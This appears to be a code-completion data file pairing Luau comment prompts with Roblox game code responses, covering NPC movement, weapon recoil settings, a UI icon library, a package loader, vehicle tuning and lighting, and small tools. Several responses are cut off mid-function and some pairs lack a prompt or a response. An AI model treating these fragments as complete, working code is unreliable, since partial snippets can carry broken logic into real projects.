Prompt: --ScanForPoint()

Response:
hum.MoveToFinished:connect(function()
anims["Walk"]:Stop()
if enRoute then
enRoute = false
end
end)

local movementCoroutine = coroutine.wrap(function()
while true do
if target then
local sessionLock = lastLock
if targetType == "Player" then

while target and lastLock == sessionLock do
if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then
local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude
if dist < 5 then


Prompt: --// Recoil Settings

Response:
	gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
	camrecoil = 4.10; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.8; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 2.55; -- How much the camera flicks when aiming

	CamShake = 1.2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 1.2; -- THIS IS ALSO NEW!!!!

	Kickback = 1.8; -- Upward gun rotation when not aiming
	AimKickback = 1.7; -- Upward gun rotation when aiming


Response:
function onClicked()
R.Function1.Disabled = true

FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true

FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true

FX.GATE.BrickColor = BrickColor.new("CGA brown")
FX.GATE.loop.Disabled = true

FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true

FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true

FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true

FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true

FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true

FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown")
FX.MultiTapDelay.loop.Disabled = true

FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true

FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
--[=[
	@private
	@class LoaderUtils
]=]

Response:
local loader = script.Parent
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils)
local GroupInfoUtils = require(script.Parent.GroupInfoUtils)
local PackageInfoUtils = require(script.Parent.PackageInfoUtils)
local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils)
local Utils = require(script.Parent.Utils)

local LoaderUtils = {}
LoaderUtils.Utils = Utils -- TODO: Remove this

LoaderUtils.ContextTypes = Utils.readonly({
	CLIENT = "client";
	SERVER = "server";
})
LoaderUtils.IncludeBehavior = Utils.readonly({
	NO_INCLUDE = "noInclude";
	INCLUDE_ONLY = "includeOnly";
	INCLUDE_SHARED = "includeShared";
})

function LoaderUtils.toWallyFormat(instance, isPlugin)
	assert(typeof(instance) == "Instance", "Bad instance")
	assert(type(isPlugin) == "boolean", "Bad isPlugin")

	local topLevelPackages = {}
	LoaderUtils.discoverTopLevelPackages(topLevelPackages, instance)
	LoaderUtils.injectLoader(topLevelPackages)

	local packageInfoList = {}
	local packageInfoMap = {}
	local defaultReplicationType = isPlugin
		and ScriptInfoUtils.ModuleReplicationTypes.PLUGIN
		or ScriptInfoUtils.ModuleReplicationTypes.SHARED

	for _, folder in pairs(topLevelPackages) do
		local packageInfo = PackageInfoUtils.getOrCreatePackageInfo(folder, packageInfoMap, "", defaultReplicationType)
		table.insert(packageInfoList, packageInfo)
	end

	PackageInfoUtils.fillDependencySet(packageInfoList)

	if isPlugin then
		local pluginGroup = GroupInfoUtils.groupPackageInfos(packageInfoList,
			ScriptInfoUtils.ModuleReplicationTypes.PLUGIN)

		local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList)

		local pluginFolder = Instance.new("Folder")
		pluginFolder.Name = "PluginPackages"

		LoaderUtils.reifyGroupList(pluginGroup, publishSet, pluginFolder, ScriptInfoUtils.ModuleReplicationTypes.PLUGIN)

		return pluginFolder
	else
		local clientGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
			ScriptInfoUtils.ModuleReplicationTypes.CLIENT)
		local serverGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
			ScriptInfoUtils.ModuleReplicationTypes.SERVER)
		local sharedGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList,
			ScriptInfoUtils.ModuleReplicationTypes.SHARED)

		local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList)

		local clientFolder = Instance.new("Folder")
		clientFolder.Name = "Packages"

		local sharedFolder = Instance.new("Folder")
		sharedFolder.Name = "SharedPackages"

		local serverFolder = Instance.new("Folder")
		serverFolder.Name = "Packages"

		LoaderUtils.reifyGroupList(clientGroupList, publishSet, clientFolder, ScriptInfoUtils.ModuleReplicationTypes.CLIENT)
		LoaderUtils.reifyGroupList(serverGroupList, publishSet, serverFolder, ScriptInfoUtils.ModuleReplicationTypes.SERVER)
		LoaderUtils.reifyGroupList(sharedGroupList, publishSet, sharedFolder, ScriptInfoUtils.ModuleReplicationTypes.SHARED)

		return clientFolder, serverFolder, sharedFolder
	end
end

function LoaderUtils.isPackage(folder)
	assert(typeof(folder) == "Instance", "Bad instance")

	for _, item in pairs(folder:GetChildren()) do
		if item:IsA("Folder") then
			if item.Name == "Server"
				or item.Name == "Client"
				or item.Name == "Shared"
				or item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
				return true
			end
		end
	 end

	 return false
end

function LoaderUtils.injectLoader(topLevelPackages)
	for _, item in pairs(topLevelPackages) do
		-- If we're underneath the hierachy or if we're in the actual item...
		if item == loader or loader:IsDescendantOf(item) then
			return
		end
	end

	-- We need the loader injected!
	table.insert(topLevelPackages, loader)
end

function LoaderUtils.discoverTopLevelPackages(packages, instance)
	assert(type(packages) == "table", "Bad packages")
	assert(typeof(instance) == "Instance", "Bad instance")

	if LoaderUtils.isPackage(instance) then
		table.insert(packages, instance)
	elseif instance:IsA("ObjectValue") then
		local linkedValue = instance.Value
		if linkedValue and LoaderUtils.isPackage(linkedValue) then
			table.insert(packages, linkedValue)
		end
	else
		-- Loop through all folders
		for _, item in pairs(instance:GetChildren()) do
			if item:IsA("Folder") then
				LoaderUtils.discoverTopLevelPackages(packages, item)
			elseif item:IsA("ObjectValue") then
				local linkedValue = item.Value
				if linkedValue and LoaderUtils.isPackage(linkedValue) then
					table.insert(packages, linkedValue)
				end
			elseif item:IsA("ModuleScript") then
				table.insert(packages, item)
			end
		end
	end
end

function LoaderUtils.reifyGroupList(groupInfoList, publishSet, parent, replicationMode)
	assert(type(groupInfoList) == "table", "Bad groupInfoList")
	assert(type(publishSet) == "table", "Bad publishSet")
	assert(typeof(parent) == "Instance", "Bad parent")
	assert(type(replicationMode) == "string", "Bad replicationMode")

	local folder = Instance.new("Folder")
	folder.Name = "_Index"

	for _, groupInfo in pairs(groupInfoList) do
		if LoaderUtils.needToReify(groupInfo, replicationMode) then
			LoaderUtils.reifyGroup(groupInfo, folder, replicationMode)
		end
	end

	-- Publish
	for packageInfo, _ in pairs(publishSet) do
		for scriptName, scriptInfo in pairs(packageInfo.scriptInfoLookup[replicationMode]) do
			local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
			link.Parent = parent
		end
	end

	folder.Parent = parent
end

function LoaderUtils.getPublishPackageInfoSet(packageInfoList)
	local packageInfoSet = {}
	for _, packageInfo in pairs(packageInfoList) do
		packageInfoSet[packageInfo] = true
		-- First level declared dependencies too (assuming we're importing just one item)
		for dependentPackageInfo, _ in pairs(packageInfo.explicitDependencySet) do
			packageInfoSet[dependentPackageInfo] = true
		end
	end
	return packageInfoSet
end

function LoaderUtils.needToReify(groupInfo, replicationMode)
	for _, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do
		if scriptInfo.replicationMode == replicationMode then
			return true
		end
	end

	return false
end

function LoaderUtils.reifyGroup(groupInfo, parent, replicationMode)
	assert(type(groupInfo) == "table", "Bad groupInfo")
	assert(typeof(parent) == "Instance", "Bad parent")
	assert(type(replicationMode) == "string", "Bad replicationMode")

	local folder = Instance.new("Folder")
	folder.Name = assert(next(groupInfo.packageSet).fullName, "Bad package fullName")

	for scriptName, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do
		assert(scriptInfo.name == scriptName, "Bad scriptInfo.name")

		if scriptInfo.replicationMode == replicationMode then
			if scriptInfo.instance == loader and loader.Parent == game:GetService("ReplicatedStorage") then
				-- Hack to prevent reparenting of loader in legacy mode
				local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
				link.Parent = folder
			else
				scriptInfo.instance.Name = scriptName
				scriptInfo.instance.Parent = folder
			end
		else
			if scriptInfo.instance == loader then
				local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
				link.Parent = folder
			else
				-- Turns out creating these links are a LOT faster than cloning a module script
				local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName)
				link.Parent = folder
			end
		end
	end

	-- Link all of the other dependencies
	for scriptName, scriptInfo in pairs(groupInfo.scriptInfoMap) do
		assert(scriptInfo.name == scriptName, "Bad scriptInfo.name")

		if not groupInfo.packageScriptInfoMap[scriptName] then
			if scriptInfo.instance == loader then
				local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName)
				link.Parent = folder
			else
				-- Turns out creating these links are a LOT faster than cloning a module script
				local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName)
				link.Parent = folder
			end
		end
	end

	folder.Parent = parent
end

return LoaderUtils


Prompt: -- CORE UTILITY METHODS

Response:
function Icon:set(settingName, value, iconState, setAdditional)
	local settingDetail = self._settingsDictionary[settingName]
	assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
	if type(iconState) == "string" then
		iconState = iconState:lower()
	end
	local previousValue = self:get(settingName, iconState)

	if iconState == "hovering" then
		-- Apply hovering state if valid
		settingDetail.hoveringValue = value
		if setAdditional ~= "_ignorePrevious" then
			settingDetail.additionalValues["previous_"..iconState] = previousValue
		end
		if type(setAdditional) == "string" then
			settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
		end
		self:_update(settingName)

	else
		-- Update the settings value
		local toggleState = iconState
		local settingType = settingDetail.type
		if settingType == "toggleable" then
			local valuesToSet = {}
			if toggleState == "deselected" or toggleState == "selected" then
				table.insert(valuesToSet, toggleState)
			else
				table.insert(valuesToSet, "deselected")
				table.insert(valuesToSet, "selected")
				toggleState = nil
			end
			for i, v in pairs(valuesToSet) do
				settingDetail.values[v] = value
				if setAdditional ~= "_ignorePrevious" then
					settingDetail.additionalValues["previous_"..v] = previousValue
				end
				if type(setAdditional) == "string" then
					settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
				end
			end
		else
			settingDetail.value = value
			if type(setAdditional) == "string" then
				if setAdditional ~= "_ignorePrevious" then
					settingDetail.additionalValues["previous"] = previousValue
				end
				settingDetail.additionalValues[setAdditional] = previousValue
			end
		end

		-- Check previous and new are not the same
		if previousValue == value then
			return self, "Value was already set"
		end

		-- Update appearances of associated instances
		local currentToggleState = self:getToggleState()
		if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
			local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
			local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
			self:_update(settingName, currentToggleState, tweenInfo)
		end
	end

	-- Call any methods present
	if settingDetail.callMethods then
		for _, callMethod in pairs(settingDetail.callMethods) do
			callMethod(self, value, iconState)
		end
	end

	-- Call any signals present
	if settingDetail.callSignals then
		for _, callSignal in pairs(settingDetail.callSignals) do
			callSignal:Fire()
		end
	end
	return self
end

function Icon:get(settingName, iconState, getAdditional)
	local settingDetail = self._settingsDictionary[settingName]
	assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
	local valueToReturn, additionalValueToReturn
	if typeof(iconState) == "string" then
		iconState = iconState:lower()
	end

	--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
	if (iconState == "hovering") and getAdditional == nil then
		valueToReturn = settingDetail.hoveringValue
		additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
	end

	local settingType = settingDetail.type
	if settingType == "toggleable" then
		local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
		if additionalValueToReturn == nil then
			additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
		end
		if valueToReturn == nil then
			valueToReturn = settingDetail.values[toggleState]
		end

	else
		if additionalValueToReturn == nil then
			additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
		end
		if valueToReturn == nil then
			valueToReturn = settingDetail.value
		end
	end

	return valueToReturn, additionalValueToReturn
end

function Icon:getHovering(settingName)
	local settingDetail = self._settingsDictionary[settingName]
	assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
	return settingDetail.hoveringValue
end

function Icon:getToggleState(isSelected)
	isSelected = isSelected or self.isSelected
	return (isSelected and "selected") or "deselected"
end

function Icon:getIconState()
	if self.hovering then
		return "hovering"
	else
		return self:getToggleState()
	end
end

function Icon:_update(settingName, toggleState, customTweenInfo) --*****
	local settingDetail = self._settingsDictionary[settingName]
	assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
	toggleState = toggleState or self:getToggleState()
	local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
	if self.hovering and settingDetail.hoveringValue then
		value = settingDetail.hoveringValue
	end
	if value == nil then return end
	local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
	local propertyName = settingDetail.propertyName
	local invalidPropertiesTypes = {
		["string"] = true,
		["NumberSequence"] = true,
		["Text"] = true,
		["EnumItem"] = true,
		["ColorSequence"] = true,
	}
	local uniqueSetting = self._uniqueSettingsDictionary[settingName]
	local newValue = value
	if settingDetail.useForcedGroupValue then
		newValue = settingDetail.forcedGroupValue
	end
	if settingDetail.instanceNames then
		for _, instanceName in pairs(settingDetail.instanceNames) do
			local instance = self.instances[instanceName]
			local propertyType = typeof(instance[propertyName])
			local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table"
			if uniqueSetting then
				uniqueSetting(settingName, instance, propertyName, newValue)
			elseif cannotTweenProperty then
				instance[propertyName] = value
			else
				tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
			end
			--
			if settingName == "iconSize" and instance[propertyName] ~= newValue then
				self.updated:Fire()
			end
			--
		end
	end
end

function Icon:_updateAll(iconState, customTweenInfo)
	for settingName, settingDetail in pairs(self._settingsDictionary) do
		if settingDetail.instanceNames then
			self:_update(settingName, iconState, customTweenInfo)
		end
	end
end

function Icon:_updateHovering(customTweenInfo)
	for settingName, settingDetail in pairs(self._settingsDictionary) do
		if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
			self:_update(settingName, nil, customTweenInfo)
		end
	end
end

function Icon:_updateStateOverlay(transparency, color)
	local stateOverlay = self.instances.iconOverlay
	stateOverlay.BackgroundTransparency = transparency or 1
	stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end

function Icon:setTheme(theme, updateAfterSettingAll)
	self._updateAfterSettingAll = updateAfterSettingAll
	for settingsType, settingsDetails in pairs(theme) do
		if settingsType == "toggleable" then
			for settingName, settingValue in pairs(settingsDetails.deselected) do
				if not self.lockedSettings[settingName] then
					self:set(settingName, settingValue, "both")
				end
			end
			for settingName, settingValue in pairs(settingsDetails.selected) do
				if not self.lockedSettings[settingName] then
					self:set(settingName, settingValue, "selected")
				end
			end
		else
			for settingName, settingValue in pairs(settingsDetails) do
				if not self.lockedSettings[settingName] then
					self:set(settingName, settingValue)
				end
			end
		end
	end
	self._updateAfterSettingAll = nil
	if updateAfterSettingAll then
		self:_updateAll()
	end
	return self
end

function Icon:getInstance(instanceName)
	return self.instances[instanceName]
end

function Icon:setInstance(instanceName, instance)
	local originalInstance = self.instances[instanceName]
	self.instances[instanceName] = instance
	if originalInstance then
		originalInstance:Destroy()
	end
	return self
end

function Icon:getSettingDetail(targetSettingName)
	for _, settingsDetails in pairs(self._settings) do
		for settingName, settingDetail in pairs(settingsDetails) do
			if settingName == targetSettingName then
				return settingDetail
			end
		end
	end
	return false
end

function Icon:modifySetting(settingName, dictionary)
	local settingDetail = self:getSettingDetail(settingName)
	for key, value in pairs(dictionary) do
		settingDetail[key] = value
	end
	return self
end

function Icon:convertLabelToNumberSpinner(numberSpinner)
	-- This updates the number spinners appearance
	self:set("iconLabelSize", UDim2.new(1,0,1,0))
	numberSpinner.Parent = self:getInstance("iconButton")

	-- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed
	local textLabel = {}
	setmetatable(textLabel, {__newindex = function(_, index, value)
		for _, label in pairs(numberSpinner.Frame:GetDescendants()) do
			if label:IsA("TextLabel") then
				label[index] = value
			end
		end
	end})

	-- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel)
	local iconButton = self:getInstance("iconButton")
	iconButton.ZIndex = 0
	self:setInstance("iconLabel", textLabel)
	self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above
	self:setInstance("iconLabelSpinner", numberSpinner.Frame)
	local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"}
	for _, settingName in pairs(settingsToConvert) do
		self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}})
	end

	-- This applies all the values we just updated
	self:_updateAll()
	return self
end

function Icon:setEnabled(bool)
	self.enabled = bool
	self.instances.iconContainer.Visible = bool
	self.updated:Fire()
	return self
end

function Icon:setName(string)
	self.name = string
	self.instances.iconContainer.Name = string
	return self
end

function Icon:setProperty(propertyName, value)
	self[propertyName] = value
	return self
end

function Icon:_playClickSound()
	local clickSound = self.instances.clickSound
	if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
		local clickSoundCopy = clickSound:Clone()
		clickSoundCopy.Parent = clickSound.Parent
		clickSoundCopy:Play()
		debris:AddItem(clickSoundCopy, clickSound.TimeLength)
	end
end

function Icon:select(byIcon)
	if self.locked then return self end
	self.isSelecting = true
	self:_setToggleItemsVisible(true, byIcon)
	self:_updateNotice()

	self.isSelected = true
	self:_updateAll() --*****
	self.isSelected = false

	self:_playClickSound()
	if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
		IconController:_updateSelectionGroup()
	end
	self.selected:Fire()
	self.toggled:Fire(self.isSelected)
	wait(1)
	self.isSelected = true
	self:_setToggleItemsVisible(true, byIcon)
	self:_updateNotice()
	self:_updateAll()
	return self
end

function Icon:deselect(byIcon)
	if self.locked then return self end
	self:_setToggleItemsVisible(false, byIcon)
	self:_updateNotice()

	self.isSelecting = false
	self:_updateAll() --*****
	self.isSelecting = true

	self:_playClickSound()
	if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
		IconController:_updateSelectionGroup()
	end
    self.deselected:Fire()
	self.toggled:Fire(self.isSelected)
	wait(1)
	self.isSelected = false
	self:_setToggleItemsVisible(false, byIcon)
	self:_updateNotice()
	self:_updateAll() --*****
	return self
end

function Icon:notify(clearNoticeEvent, noticeId)
	coroutine.wrap(function()
		if not clearNoticeEvent then
			clearNoticeEvent = self.deselected
		end
		if self._parentIcon then
			self._parentIcon:notify(clearNoticeEvent)
		end

		local notifComplete = Signal.new()
		local endEvent = self._endNotices:Connect(function()
			notifComplete:Fire()
		end)
		local customEvent = clearNoticeEvent:Connect(function()
			notifComplete:Fire()
		end)

		noticeId = noticeId or httpService:GenerateGUID(true)
		self.notices[noticeId] = {
			completeSignal = notifComplete,
			clearNoticeEvent = clearNoticeEvent,
		}
		self.totalNotices += 1
		self:_updateNotice()

		self.notified:Fire(noticeId)
		notifComplete:Wait()

		endEvent:Disconnect()
		customEvent:Disconnect()
		notifComplete:Disconnect()

		self.totalNotices -= 1
		self.notices[noticeId] = nil
		self:_updateNotice()
	end)()
	return self
end

function Icon:_updateNotice()
	local enabled = true
	if self.totalNotices < 1 then
		enabled = false
	end
	-- Deselect
	if not self.isSelected then
		if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
			enabled = true
		end
	end
	-- Select
	if self.isSelected then
		if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
			enabled = false
		end
	end
	local value = (enabled and 0) or 1
	self:set("noticeImageTransparency", value)
	self:set("noticeTextTransparency", value)
	self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end

function Icon:clearNotices()
	self._endNotices:Fire()
	return self
end

function Icon:disableStateOverlay(bool)
	if bool == nil then
		bool = true
	end
	local stateOverlay = self.instances.iconOverlay
	stateOverlay.Visible = not bool
	return self
end


Prompt: -- zipperipper's script

Response:
Bin = script.Parent

function onButton1Down(mouse)

mt = mouse.Target

		if mt.Locked == false then
		mt.BrickColor = BrickColor.Random(1,268)

	end

end

function onSelected(mouse)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)

local Message = Instance.new("Hint")

Message.Parent = Bin.Parent.Parent

Message.Text = "Click on a brick to change it to a random color!"

end

function onDeS(mouse)
script.Parent.Parent.Parent.Message:remove()
end

script.Parent.Deselected:connect(onDeS)
Bin.Selected:connect(onSelected)


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 5.1		-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.484		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.587		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.022		,
		--[[ 3 ]]		1.384		,
		--[[ 4 ]]		1			,
		--[[ 5 ]]		0.861		,
	}
	Tune.FDMult			= 1			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--[[
	Represents a tree of tests that have been loaded but not necessarily
	executed yet.

	TestPlan objects are produced by TestPlanner.
]]

Response:
local TestEnum = require(script.Parent.TestEnum)
local Expectation = require(script.Parent.Expectation)

local function newEnvironment(currentNode, extraEnvironment)
	local env = {}

	if extraEnvironment then
		if type(extraEnvironment) ~= "table" then
			error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format(
				typeof(extraEnvironment)), 2)
		end

		for key, value in pairs(extraEnvironment) do
			env[key] = value
		end
	end

	local function addChild(phrase, callback, nodeType, nodeModifier)
		local node = currentNode:addChild(phrase, nodeType, nodeModifier)
		node.callback = callback
		if nodeType == TestEnum.NodeType.Describe then
			node:expand()
		end
		return node
	end

	function env.describeFOCUS(phrase, callback)
		addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus)
	end

	function env.describeSKIP(phrase, callback)
		addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip)
	end

	function env.describe(phrase, callback, nodeModifier)
		addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None)
	end

	function env.itFOCUS(phrase, callback)
		addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus)
	end

	function env.itSKIP(phrase, callback)
		addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
	end

	function env.itFIXME(phrase, callback)
		local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
		warn("FIXME: broken test", node:getFullName())
	end

	function env.it(phrase, callback, nodeModifier)
		addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None)
	end

	-- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases
	local lifecyclePhaseId = 0

	local lifecycleHooks = {
		[TestEnum.NodeType.BeforeAll] = "beforeAll",
		[TestEnum.NodeType.AfterAll] = "afterAll",
		[TestEnum.NodeType.BeforeEach] = "beforeEach",
		[TestEnum.NodeType.AfterEach] = "afterEach"
	}

	for nodeType, name in pairs(lifecycleHooks) do
		env[name] = function(callback)
			addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None)
			lifecyclePhaseId = lifecyclePhaseId + 1
		end
	end

	function env.FIXME(optionalMessage)
		warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "")

		currentNode.modifier = TestEnum.NodeModifier.Skip
	end

	function env.FOCUS()
		currentNode.modifier = TestEnum.NodeModifier.Focus
	end

	function env.SKIP()
		currentNode.modifier = TestEnum.NodeModifier.Skip
	end

	--[[
		This function is deprecated. Calling it is a no-op beyond generating a
		warning.
	]]
	function env.HACK_NO_XPCALL()
		warn("HACK_NO_XPCALL is deprecated. It is now safe to yield in an " ..
			"xpcall, so this is no longer necessary. It can be safely deleted.")
	end

	env.fit = env.itFOCUS
	env.xit = env.itSKIP
	env.fdescribe = env.describeFOCUS
	env.xdescribe = env.describeSKIP

	env.expect = Expectation.new

	return env
end

local TestNode = {}
TestNode.__index = TestNode


Prompt:
--[=[
	Centralized service using serviceBag. This will let other packages work with a single player datastore service.

	@server
	@class PlayerDataStoreService
]=]

Response:
local require = require(script.Parent.loader).load(script)

local PlayerDataStoreManager = require("PlayerDataStoreManager")
local DataStorePromises = require("DataStorePromises")
local Promise = require("Promise")
local Maid = require("Maid")

local PlayerDataStoreService = {}


Prompt:
--[[function MouseInput.OnClientInvoke()
	return game.Players.LocalPlayer:GetMouse().Hit.p
end]]


Prompt:
-----------------
--| Variables |--
-----------------

Response:
local InsertService = Game:GetService('InsertService')
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')

local Tool = script.Parent
local ToolHandle = Tool.Handle

local MyPlayer = PlayersService.LocalPlayer

local SkeletonScript = WaitForChild(script, 'SkeletonScript')
local Fire = WaitForChild(script, 'Fire')
local SummonAnimation = WaitForChild(script, 'Summon')

local GongSound = WaitForChild(ToolHandle, 'Gong')

local MyModel = nil
local Skeleton = nil
local LastSummonTime = 0
local SummonTrack = nil


Prompt: --EDIT BELOW----------------------------------------------------------------------

Response:
settings.PianoSoundRange = 50

settings.KeyAesthetics = true

settings.PianoSounds = {
		"269058581",
		"269058744",
		"269058842",
		"269058899",
		"269058974",
		"269059048"
}


Prompt:
--[[
	Returns the string associated with the current mode and viewing state of the MerchBooth.

	This function is called as the MerchBooth view opens up, allowing the
	PrimaryButton to reflect the appropriate status of ownership and equips.

	See related function `getButtonModeAsync`.
]]

Response:
local MerchBooth = script:FindFirstAncestor("MerchBooth")

local enums = require(MerchBooth.enums)
local separateThousands = require(script.Parent.separateThousands)

local function getTextFromMode(mode, price: number?): string
	if mode == enums.PrimaryButtonModes.Loading then
		return ""
	elseif mode == enums.PrimaryButtonModes.Purchase and price then
		if price == 0 then
			return "FREE"
		elseif price < 0 then
			return "NOT FOR SALE"
		else
			return separateThousands(price)
		end
	elseif mode == enums.PrimaryButtonModes.Owned then
		return "Owned"
	elseif mode == enums.PrimaryButtonModes.CanEquip then
		return "Equip Item"
	elseif mode == enums.PrimaryButtonModes.Equipped then
		return "Item Equipped"
	end
	return ""
end

return getTextFromMode


Prompt:
--[[
for _,i in pairs(light) do
	i.BrickColor = offcolor
	i.Material = Enum.Material.material
end
--]]

Response:
InputService.InputBegan:connect(DealWithInput)
InputService.InputChanged:connect(DealWithInput)
InputService.InputEnded:connect(DealWithInput)

function findbricks(search,query,tab)
for _,i in pairs(search:GetChildren()) do
if i.Name == query then table.insert(tab,i) end findbricks(i,query,tab)
end
end

findbricks(seat.Parent,"Li",fli)
findbricks(seat.Parent,"Ri",fri)
findbricks(seat.Parent,"RLi",rli)
findbricks(seat.Parent,"RRi",rri)
findbricks(seat.Parent.Parent,"HLL",hll)
findbricks(seat.Parent.Parent,"HLH",hlh)
findbricks(seat.Parent,"BL",bl)
findbricks(seat.Parent,"RRL",rrl)
findbricks(seat.Parent,"RevL",rl)

for _,i in pairs(fli) do
	i.BrickColor = indicatorOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(fri) do
	i.BrickColor = indicatorOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rli) do
	i.BrickColor = indicatorOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rri) do
	i.BrickColor = indicatorOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(hll) do
	i.BrickColor = headlightOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(hlh) do
	i.BrickColor = headlightOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(rrl) do
	i.BrickColor = rearrunOff
	i.Material = Enum.Material.SmoothPlastic
end
for _,i in pairs(bl) do
	i.BrickColor = brakelightOff
